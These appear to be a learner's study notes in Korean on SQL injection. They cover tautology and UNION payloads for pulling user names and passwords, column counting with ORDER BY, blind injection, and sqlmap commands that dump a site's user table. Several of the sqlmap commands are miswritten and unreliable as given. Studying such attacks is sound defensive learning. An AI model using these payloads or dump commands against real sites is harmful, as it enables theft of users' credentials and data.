SQL 인젝션 공격이 요즘에도 통함??
옛날에 만들어진 프로그램들이 계속 남아있어서 그런가
DB로 전달되는 SQL문을 사용자가 임의로 조작할 수 있는 경우 발생한다는데 이러한 조작이 어떻게 가능함?
SELECT name, email
FROM user
WHERE id = {id} or '1'='1'; // 1=1 때문에 항상 참이 되서 모든 유저 정보가 반환됨
SELECT name, email
FROM user
WHERE id = {id}
UNION
SELECT name, pw
FROM user#
입력이 쿼리 결과에 영향을 주는지 살펴보기
영향을 주면 SQL 인젝션 취약점 존재 가능성 높음 (매우 드물것으로 예상)
UNION 공격할 때 원래 SQL이 몇 개의 컬럼을 반환하는지 알아야 한다고 함
ORDER BY로 컬럼 개수 알아낼 수 있음
UNION SELECT 1,2
blind? sql injection attack
입력한 값이 sql 쿼리문에 영향을 미치는 것은 동일.
기존의 sql 인젝션 공격처럼 결과를 직접적으로 알 순 없어도
간접적으로 어떤 정보를 알아내는 방법
sqlmap 프로그램
sql 인젝션 공격을 자동화하는 프로그램.
// 예시, url, cookie는 개발자 도구에서 얻을 수 있음 (쿠키는 httpOnly면 못 얻을듯?)
sql -u {url} --cookie {cookie}
// 현재 db 알아내기
sql -u {url} --cookie {cookie} --current-db
// db의 테이블들 알아내기
sql -u {url} --cookie {cookie} -D {알아낸 db명} -tables
// 모든 유저 알아내기
sql -u {url} --cookie {cookie} -D {알아낸 db명} -T {유저 테이블명} -dump